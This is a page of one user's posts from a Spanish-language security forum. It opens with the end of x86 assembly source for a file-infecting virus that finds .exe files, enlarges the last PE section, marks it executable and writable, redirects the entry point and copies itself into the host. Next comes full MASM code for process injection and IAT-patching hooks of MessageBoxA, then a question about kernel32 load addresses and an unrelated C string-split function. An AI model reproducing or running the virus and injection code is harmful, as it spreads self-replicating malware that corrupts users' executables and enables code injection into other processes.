  309. cmp [esi + 14h], eax
  310.  
  311. ;If it isn't bigger jump to _notbigger
  312. jb _notbigger
  313.  
  314. ;Else save ecx (index of current section) in ebx
  315. ;And move that pointer to eax
  316. mov ebx, ecx
  317. mov eax, [esi + 14h]
  318. _notbigger:
  319.  
  320. ;Esi points to the next section table
  321. add esi, 28h
  322. loop _SectionsLoop
  323.  
  324. ;Eax = NumberOfSections
  325. pop eax
  326.  
  327. ;Subtract ebx from the NumbersOfSections
  328. ;and multiply it by 28h
  329. sub eax, ebx
  330. mov ecx, 28h
  331. mul ecx
  332.  
  333. ;Restore esi (the pointer to the first table)
  334. ;and add eax to make it point to the table which has
  335. ;the highest PointerToRawData
  336. pop esi
  337. add esi, eax
  338.  
  339.  
  340. ;Ebx contains VirtualSize, save it into the stack
  341.   mov ebx, [esi + 08h]
  342.   push ebx
  343.  
  344.   ;New VirtualSize = Old VirtualSize + VirusSize
  345.   add ebx, VirusSize
  346.   mov [esi + 08h], ebx
  347.  
  348.   ;Eax contains the new VirtualSize
  349.   ;Rounded up to FileAlignment
  350.   push ebx
  351.   push [ebp + falignvalue]
  352.   call _alignment
  353.  
  354.   ;That is, it's the new SizeOfRawData
  355.   ;so change it up
  356.   mov [esi + 10h], eax
  357.  
  358. ;ecx = Old VirtualSize
  359. ;ebx = PE Header Address
  360.   pop ecx
  361.   pop ebx
  362.  
  363.   ;Save the EntryPoint of the file
  364.   ;in HostEntryPoint
  365.   mov edx, [ebx + 28h]
  366.   mov [ebp + HostEntryPoint], edx
  367.  
  368.   ;edx = VirtualAddress + VirtualSize
  369.   mov edx, [esi + 0Ch]
  370.   add edx, ecx
  371.  
  372.   ;That is, the new EntryPoint
  373.   ;so change it up
  374.   mov [ebx + 28h], edx
  375.  
  376. ;Save PE Header Address into the stack
  377.   push ebx
  378.  
  379.   ;eax = New VirtualSize + VirtualAddress
  380.   mov eax, [esi + 08h]
  381.   add eax, [esi + 0Ch]
  382.  
  383.   ;Get the new SizeOfImage,
  384.   ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
  385.   push eax
  386.   push [ebp + salignvalue]
  387.   call _alignment
  388.  
  389.   ;Set the new SizeOfImage
  390.   pop ebx
  391.   mov [ebx + 50h], eax
  392.  
  393. ;Last section characteristics:
  394. ;CODE|EXECUTE|READ|WRITE
  395. or dword ptr[esi + 24h], 0E0000020h
  396.  
  397. ;eax = Base Address of mapped file
  398. pop eax
  399.  
  400. ;ebx = PointerToRawData
  401. mov ebx, [esi + 14h]
  402.  
  403. ;ebx = Base Address + PointerToRawData + Old VirtualSize
  404. lea ebx, [eax + ebx]
  405. add ebx, ecx
  406.  
  407. ;Copy the virus code in the host code
  408. ;esi = beginning of the virus code
  409. ;edi = end of the last section
  410. lea esi, [ebp + start_vx_code]
  411. mov edi, ebx
  412. mov ecx, VirusSize
  413. rep movsb
  414.  
  415.  
  416. ;Close all the handles
  417. jmp close_all
  418.  
  419. _alignment:
  420. ;The formula to align a value is:
  421. ;AlignedValue = [(Value/Alignment)+1]*Alignment
  422.  
  423.  
  424. ;Save the returning address in edi
  425. pop edi
  426.  
  427. ;Get the value to align and the alignment
  428. pop ebx
  429. pop eax
  430.  
  431. xor edx, edx
  432. div ebx
  433. cmp edx, 00h
  434. jz _align
  435. inc eax
  436. _align:
  437. xor edx, edx
  438. mul ebx
  439.  
  440. ;Push the returning address
  441. ;and jump to it
  442. push edi
  443. retn
  444.  
  445. map_file_in_memory:
  446.  
  447. ;esi = returning address
  448. ;edi = mapping size
  449. pop esi
  450. pop edi
  451.  
  452. ;Create the file mapping object
  453. push 00h
  454. push edi
  455. push 00h
  456. push 04h
  457. push 00h
  458. push [ebp + FileHandleCreate]
  459. call [ebp + CreateFileMappingAH]
  460. cmp eax, 00h
  461. jz close_file
  462. mov [ebp + FileHandleMap], eax
  463.  
  464. ;And create a view of the file
  465. ;using the size in edi
  466. push edi
  467. push 0
  468. push 0
  469. push 000F001Fh
  470. push [ebp + FileHandleMap]
  471. call [ebp + MapViewOfFileH]
  472. cmp eax, 00h
  473. jz close_filemap
  474. mov [ebp + MappedFile], eax
  475.  
  476. ;Set the returning address
  477. ;and jump to it
  478. push esi
  479. retn
  480.  
  481.  
  482.  
  483. ;Chain of functions which close the appropiate handles
  484. close_all:
  485. close_view:
  486. push [ebp + MappedFile]
  487. call [ebp + UnmapViewOfFileH]
  488.  
  489. close_filemap:
  490. push [ebp + FileHandleMap]
  491. call [ebp + CloseHandleH]
  492.  
  493. close_file:
  494. push [ebp + FileHandleCreate]
  495. call [ebp + CloseHandleH]
  496.  
  497. end_infect_file:
  498. retn
  499.  
  500.  
  501. _data:
  502. Kernel32H dd ?
  503. GtProcAdH dd ?
  504. GpaName db "GetProcAddress",0
  505. ExitProcessN db "ExitProcess",0
  506.  
  507. ApiListN db "FindFirstFileA",0
  508.             db "FindNextFileA",0
  509.             db "CreateFileA",0
  510.             db "CreateFileMappingA",0
  511.             db "MapViewOfFile",0
  512.             db "CloseHandle",0
  513.             db "UnmapViewOfFile",0
  514.             db 0
  515.    ApiListH:
  516.    FindFirstFileAH dd ?
  517.    FindNextFileAH   dd ?
  518.    CreateFileAH     dd ?
  519.    CreateFileMappingAH dd ?
  520.    MapViewOfFileH dd ?
  521.    CloseHandleH dd ?
  522.    UnmapViewOfFileH dd ?
  523.  
  524.    filter db "*.exe",0
  525.    FileHandleFind dd ?
  526.    FileHandleCreate dd ?
  527.    FileHandleMap dd ?
  528.    MappedFile dd ?
  529.  
  530.    VirusSize equ end_vx_code - start_vx_code
  531.    VirusHostSize dd ?
  532.    falignvalue dd ?
  533.    salignvalue dd ?
  534.    HostEntryPoint dd 0
  535.    MyEntryPoint dd 0
  536.  
  537.    filetime struct
  538.        FT_dwLowDateTime     dd ?
  539.        FT_dwHighDateTime   dd ?
  540.    filetime ends
  541.  
  542.    find_data struct
  543.        dwFileAttributes         dd ?
  544.        ftCreationTime           filetime <?>          
  545.        ftLastAccessTime         filetime <?>
  546.        ftLastWriteTime         filetime <?>
  547.        nFileSizeHigh           dd ?
  548.        nFileSizeLow             dd ?
  549.        dwReserved0             dd ?
  550.        dwReserved1             dd ?
  551.        cFileName               db 512 dup (?)
  552.        cAlternateFileName     db 14 dup  (?)
  553.    find_data ends
  554.  
  555.    win32_find_data         find_data <?>
  556.  
  557. end_vx_code:
  558. end vx_code
  559.  

Agradecería mucho que me comentarais los muchos fallos que seguro hay.

Un saludo!
38  Seguridad Informática / Análisis y Diseño de Malware / API Hooking by IAT Patching en: 22 Abril 2012, 17:00 pm
Gracias al tutorial de YST & Hacker_Zero entendí el API Hooking, pero por desgracia ese manual quedó a medias y jamás se explicó el método para hookear una API modificando la IAT.

Me puse y salió esto, cualquier error por favor decidmelo:

Código:
.386
.model flat, stdcall
option casemap:none

assume fs:nothing

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib


.data
Process db 'ejecutable.exe',0
Kernel db 'kernel32.dll',0
GetProc db 'GetProcAddress',0
.data?
Function dd ?
FunctionLen dd ?
pInfo PROCESS_INFORMATION <>
sInfo STARTUPINFO <>
function_start PROTO
.code
start:
invoke CreateProcess,0,addr Process,0,0,0,0,0,0,addr sInfo,addr pInfo

mov eax,offset function_end
sub eax,offset function_start
mov [FunctionLen],eax

invoke VirtualAllocEx,[pInfo.hProcess],0,[FunctionLen],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [Function],eax

invoke GetModuleHandle,offset Kernel
mov [KernelBase],eax
push offset GetProcAddressName

invoke GetProcAddress,eax,offset GetProc
mov [pGetProcAddress],eax

invoke WriteProcessMemory,[pInfo.hProcess],[Function],offset function_start,[FunctionLen],0
invoke CreateRemoteThread,[pInfo.hProcess],0,0,[Function],0,0,0
invoke ExitProcess,0

;Injecting Function
function_start PROC
    call delta
delta:
pop ebp
sub ebp, offset delta
mov ebx, fs:[030h]
;Getting host process IAT address and its size
mov eax,[ebx+08h]
mov ebx,[eax+03Ch]
add ebx,eax
mov edx,[ebx+0D8h]
add edx,eax
mov [ebp+pIAT],edx
mov edx,[ebx+0DCh]
mov [ebp+IATsize],edx

;Getting the needed API's
;GetModuleHandle
mov ebx,offset GetModuleHandleName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pGetModuleHandle],eax
;VirtualProtect
mov ebx,offset VirtualProtectName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pVirtualProtect],eax
;Getting address of MessageBox
mov ebx,offset user32name
add ebx,ebp
push ebx
call [ebp+pGetModuleHandle]
mov ebx,offset MessageBoxName
add ebx,ebp
push ebx
push eax
call [ebp+pGetProcAddress]
mov [ebp+pMessageBox],eax
;Showing a MessageBox
push MB_OK + MB_ICONINFORMATION
push 0
mov ebx,offset MsgInjected
add ebx,ebp
push ebx
push 0
call [ebp+pMessageBox]
;Finding pointing address
xor edx,edx
mov eax,[ebp+IATsize]
mov ecx,04h
div ecx
mov ecx,eax
mov eax,[ebp+pMessageBox]
mov edi,[ebp+pIAT]
repnz scasd
sub edi,04h
;Patching the IAT
mov ebx,offset OldProtect
add ebx,ebp
push ebx
push PAGE_EXECUTE_READWRITE
push 04h
push edi
call [ebp+pVirtualProtect]
mov ebx,offset Hook
add ebx,ebp
mov [edi],ebx
ret

pIAT dd ?
IATsize dd ?
BaseImage dd ?
KernelBase dd ?
pGetProcAddress dd ?
GetProcAddressName db "GetProcAddress",0
user32name db "user32.dll",0
MessageBoxName db "MessageBoxA",0
pMessageBox dd ?
GetModuleHandleName db "GetModuleHandleA",0
pGetModuleHandle dd ?
VirtualProtectName db "VirtualProtect",0
pVirtualProtect dd ?
OldProtect dd ?
MsgInjected db "The function has been injected!",0

Hook:
;Delta offset
call deltahook
deltahook:
pop ebp
sub ebp,offset deltahook
pop ebx ;Saving to return after
mov edi,offset msghook
add edi,ebp
mov [esp+04h],edi ;Changing the stack parameters
call [ebp+pMessageBox] ;Calling the original address of MessageBox
push ebx ;Setting the returning address
ret
msghook db "MessageBox Hooked!", 0
function_start endp
function_end:
end start


El ejecutable que usé lo que hace es lanzar dos MessageBox, uno detrás de otro (podéis programarlo para ver cómo funciona).
No abre un proceso existente, sino que lo crea (arreglarlo es cuestión de un par de API's).
El proceso no lo crea suspendido, así pues al principio lanza el primer MessageBox junto con otro MessageBox que anuncia que la función ha sido inyectada. Después, al cerrar el mensaje de alerta y posteriormente el primer mensaje, lanza otro MessageBox que en teoría debería de ser el segundo del programa, pero como hookea la API hará que a partir de ahí todos los MessageBox muestren "MessageBox Hooked!"


Saludos!
39  Programación / ASM / ¿Es posible que kernel32.dll se cargue en otra ImageBase? en: 21 Abril 2012, 19:17 pm
Estoy haciendo un código de API Hooking que modificará la IAT para saltar a la función que yo quiera, y para ello una de las cosas que debe recibir mi función inyectada es un puntero a GetProcAddress.
La función inyectada calcula ya la ImageBase de kernel32.dll, así que si quisiera podría obtener ese puntero a GetProcAddress en base a eso, pero me ahorraría bastante trabajo si pudiera pasarle como parametro al CreateRemoteThread el puntero que el programa inyector hubiera previamente obtenido, sin miedo a que esa dirección fuera errónea porque kernel32.dll se ha cargado en otra dirección en el programa en el que se inyectará el código.

Como kernel32.dll es la segunda función que un ejecutable carga en Windows (esto lo descubrió The Swash, mirando InLoadOrderModuleList de PEB_LDR_DATA) en teoría en condiciones normales debería de cargarse siempre en la misma dirección.

¡Gracias!
40  Programación / Programación C/C++ / [C]Función SPLIT en: 29 Junio 2011, 19:57 pm
He hecho esta típica función en C...
Es digamos la primera versión así que debe de tener muchos errores, de hecho hasta me atrevería a decir que es cutre, pero en fin, aquí os la dejo:

Código
  1. /* char **split(char *string, char *sep);
  2.    Coded by Binary_Death on 30/6/2011
  3. */
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6. char **split(char*,char*);
  7. int _strlen(char*);
  8. int _cmp(char*,char*,int);
  9. int main() {
  10.    char **array = split("STRING1#DLM#STRING2#DLM#STRING3","#DLM#");
  11.    for(int y=0;y<3;y++) printf("%s\n", array[y]);
  12.    getchar();
  13.    return 0;
  14. }
  15. char **split(char *string,char *sep) {
  16.     int str_len=_strlen(string);
  17.     int sep_len=_strlen(sep);
  18.     int ptr_block=0, chr=0, bool_end=0;
  19.     char **buffer = (char**)malloc(sizeof(char*));
  20.     *buffer = (char*)malloc(sizeof(char*));**buffer=0;
  21.     char *tok = (char*)malloc(sep_len*sizeof(char));
  22.     for(int z=0;z<str_len;z++) {
  23.             for(int n=0;n<sep_len&&!bool_end;n++)
  24.             {(str_len-(z+1)>=sep_len)?tok[n]=string[z+n]:bool_end=1;}
  25.             if(_cmp(tok,sep,sep_len)||bool_end) {
  26.                                  buffer[ptr_block][chr++] = string[z];
  27.                                  buffer[ptr_block] = (char*)realloc(buffer[ptr_block],chr*sizeof(char*));
  28.                                  buffer[ptr_block][chr] = 0;
  29.                                   } else {
  30.                                          buffer = (char**)realloc(buffer,(++ptr_block+1)*sizeof(char*));
  31.                                          buffer[ptr_block] = (char*)malloc(sizeof(char*));
  32.                                          chr=0;z+=sep_len-1;
  33.                                   }                          
  34.    }
  35. free(tok);
  36. return buffer;
  37. }
  38. int _strlen(char *pstr) {
  39.    int i=0;
  40.    while(*(pstr++)!='\0') i++;
  41.    return i;
  42. }
  43. int _cmp(char *fstr,char *sstr, int len) {
  44.    int bytes=0;
  45.    while(bytes++<len) if(*(fstr++)!=*(sstr++)) return 1;
  46.    return 0;
  47. }
  48.  

Agradecería que se me reportaran los errores y así mejorar  :P

Saludos!

EDITO: Ya esta arreglado! Igual seguro que tiene muchos errores más, ya se irán arreglando, yo soy paciente  ;D

EDITO2: Segunda modificación, he reducido y optimizado muchísimo el código.
Páginas: 1 2 3 [4] 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines